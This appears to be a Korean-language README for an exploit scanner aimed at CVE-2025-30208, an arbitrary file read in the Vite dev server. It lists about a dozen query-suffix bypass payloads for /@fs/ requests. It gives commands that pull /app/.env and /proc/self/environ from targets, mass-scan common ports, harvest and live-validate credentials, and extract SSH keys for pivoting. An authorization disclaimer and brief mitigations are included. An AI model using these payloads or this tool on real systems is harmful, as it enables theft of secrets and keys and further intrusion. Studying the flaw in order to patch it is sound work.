
CVE-2025-30208 (Vite 임의 파일 읽기)용 익스플로잇 스캐너, 다중 변형 우회 탐지, 자격 증명 수집, SSH 키 추출 및 승인된 침투 테스트를 위한 구조화된 보고 포함.
CVE: CVE-2025-30208
GHSA: GHSA-x574-m823-4x7w
심각도: CVSS 5.3 중간 (네트워크 접근 가능한 개발 서버)
⚠ 승인된 보안 평가 용도로만 사용하세요.
소유하지 않았거나 명시적 서면 허가를 받지 않은 시스템에 대한 무단 사용은 불법입니다.
Vite 개발 서버는 /@fs/ 요청을 통해 호스트 파일시스템의 임의 파일을 제공할 수 있습니다.
영향을 받는 버전에서는 쿼리 문자열 검증 누락으로 인해 공격자가 특수하게 조작된 접미사를 추가하여 허용 목록을 우회하고, 프로세스가 접근할 수 있는 모든 파일 — .env 파일, SSH 개인 키, 클라우드 자격 증명, /proc 항목 — 을 읽을 수 있습니다.
| 브랜치 | 마지막 취약 버전 | 패치 버전 |
|---|---|---|
| 6.3.x | 6.3.0 | 6.3.1+ |
| 6.2.x | 6.2.2 | 6.2.3+ |
| 6.1.x | 6.1.1 | 6.1.2+ |
| 6.0.x | 6.0.11 | 6.0.12+ |
| 5.4.x | 5.4.14 | 5.4.15+ |
| 4.5.x | 4.5.9 | 4.5.10+ |
| 이름 | 접미사 / 쿼리 | 설명 |
|---|---|---|
raw?? | ?raw?? | 끝에 붙은 ??가 rawRE를 무력화 |
import&raw?? | ?import&raw?? | ES 모듈 + raw 조합 |
raw? | ?raw? | 끝에 붙은 ? 하나 |
url&raw?? | ?url&raw?? | URL 모드 조합 |
raw&url?? | ?raw&url?? | 매개변수 순서가 뒤바뀜 |
import&?raw | ?import&?raw | 잘못된 import 접두어 |
sec-fetch | ?raw + Sec-Fetch header | 브라우저 스크립트 컨텍스트 |
raw-encoded | ?raw%3f%3f | URL 인코딩된 구분자 |
double-slash | ?raw??/ | 이중 슬래시 접미사 우회 (v5) |
pct-all | %3fraw%3f%3f | 전체 퍼센트 인코딩 쿼리 (v5) |
raw-hash | ?raw??# | 프래그먼트 앵커 우회 (v5) |
wasm-init | ?inline=1.wasm?init | CVE-2025-31125 유사 변형 (wasm init) |
pip install requests
# or
pip install -r requirements.txt
python main.py -t https://target.com
python main.py -t https://target.com --full-chain --output /tmp/report
python main.py -t https://target.com --file /app/.env
python main.py -t https://target.com --file /proc/self/environ --save ./environ.txt
python main.py -t https://target.com --stealth --proxy http://127.0.0.1:8080
python main.py -l targets.txt
python main.py -l targets.txt --workers 20 --ports 5173,3000,8080
python main.py -t https://target.com --no-color | tee scan.log
python main.py --version
python -m cve30208 -t https://target.com
| 플래그 | 기본값 | 설명 |
|---|---|---|
-t/--target | — | 단일 대상 URL |
-l/--lists | — | 한 줄에 대상 하나씩 포함된 파일 |
--stealth | off | 요청 사이에 무작위 지연 추가 |
--proxy | — | HTTP/HTTPS 프록시 (http://host:port) |
--timeout | 10 | 요청당 제한 시간(초) |
--verify | off | TLS 인증서 검증 활성화 |
--file | — | 대상 호스트에서 특정 경로 읽기 |
--save | — | --file 내용을 로컬 경로에 저장 |
--full-chain | on | 전체 익스플로잇 체인 실행 (실시간 검증이 기본) |
--output | — | 이 기본 경로에 JSON + Markdown 보고서 작성 |
--workers | 10 | 대량 스캔용 병렬 작업자 수 |
--ports | 아래 참조 | 대량 모드에서 탐색할 쉼표로 구분된 포트 목록 |
--no-color/--plain | off | ANSI 색상 코드 비활성화 |
--safe-mode | off | 터미널 출력에서 비밀 값 가리기 |
--show-secrets | off | 터미널에 전체 비밀 표시 (--safe-mode 재정의) |
--version | — | 버전 출력 후 종료 |
기본 대량 스캔 포트: 5173, 4173, 3000, 8080, 8000, 4000, 5000, 9000, 80, 443
--output /tmp/report가 지정되면 스캐너는 다음 파일을 작성합니다:
/tmp/report.json — 기계가 읽을 수 있는 구조화된 결과/tmp/report.md — 사람이 읽을 수 있는 Markdown 보고서대량 스캔은 항상 마지막 줄에 VULN_COUNT=N을 출력하여 셸 스크립트로 쉽게 사용할 수 있습니다:
python main.py -l targets.txt | grep '^VULN_COUNT='
단일 대상 스캔은 자동화를 위해 마지막에 SCAN_STATUS=VULNERABLE|NOT_VULNERABLE을 출력합니다.
cve30208/
├── __init__.py — public API surface
├── __main__.py — python -m cve30208 entry point
├── constants.py — BYPASS, CVE_SIBLING, SECRET_PATTERNS, SSH/scan constants
├── ui.py — ANSI colour codes, Spin/NullSpin, terminal helpers
├── utils.py — shared helpers (_unescape_js_string)
├── secrets.py — scan_secrets(), parse_env(), parse_environ()
├── ssh.py — extract_ssh_key(), collect_ssh_targets()
├── exploit.py — ExploitResult, ExploitStage (live credential validation)
│ includes a check registry for easier extension
├── report.py — save_report(), make_md()
└── scanner.py — FR/R dataclasses, Scanner, bulk_scan(), main()
main.py — backwards-compatibility shim
requirements.txt
스캐너는 반복되는 아티팩트를 자동으로 억제하여 HOME이 /root와 같거나 동일한 비밀이 여러 파일에 나타나더라도 출력을 깨끗하게 유지합니다:
| 계층 | 메커니즘 |
|---|---|
| 파일시스템 읽기 | stage_fs는 dict.fromkeys로 SSH 키 기본 목록을 정규화하고 출력이 생성되기 전에 reads 큐에서 중복 경로를 제거합니다. |
| 파일 저장 | Scanner._save는 스캔별 _seen_file_paths 집합을 확인합니다. 중복 경로는 r.files에 다시 추가하지 않고 이미 저장된 FR을 반환합니다. |
| 비밀 | Scanner._save는 모든 파일에서 (name, value) 기준으로 r.secrets를 전역 중복 제거합니다. 파일 내 중복 제거는 scan_secrets에서 별도로 처리됩니다. |
| SSH 키 | stage_ssh는 여러 원본 파일에 나타나는 동일한 PEM 서명(처음 _PEM_SIG_LEN 바이트)을 가진 키를 병합합니다. |
| 피벗 명령 | 피벗 블록은 (key_source, host, port)로 키가 지정되며, 동일한 조합은 한 번만 출력됩니다. |
요약 줄은 중복으로 억제된 파일, 비밀, SSH 키 수를 보고합니다. 예:
deduped 2 file(s), 4 credential(s), 1 SSH key(s) suppressed as duplicates
--host 0.0.0.0으로 Vite 개발 서버를 절대 시작하지 마세요..env 파일을 감사하고 프로젝트에서 불필요한 비밀을 제거하세요.이 도구는 승인된 침투 테스트 및 보안 연구 전용으로 제공됩니다.
이 도구를 사용함으로써 귀하는 대상 시스템을 테스트할 명시적 서면 허가를 받았음을 동의하는 것입니다.
저자는 이 소프트웨어로 인한 오용이나 피해에 대해 어떠한 책임도 지지 않습니다.
CVE-2025-30208 PoC v5
생성된 JSON에는 이제 다음이 포함됩니다:
schema_version (현재: 1.0.0)status (VULNERABLE 또는 NOT_VULNERABLE)safe_mode (터미널 비밀 가리기 모드가 활성화된 경우 true)report_redacted (하나 이상의 비밀이 존재하고 저장된 보고서에서 가려진 경우 true)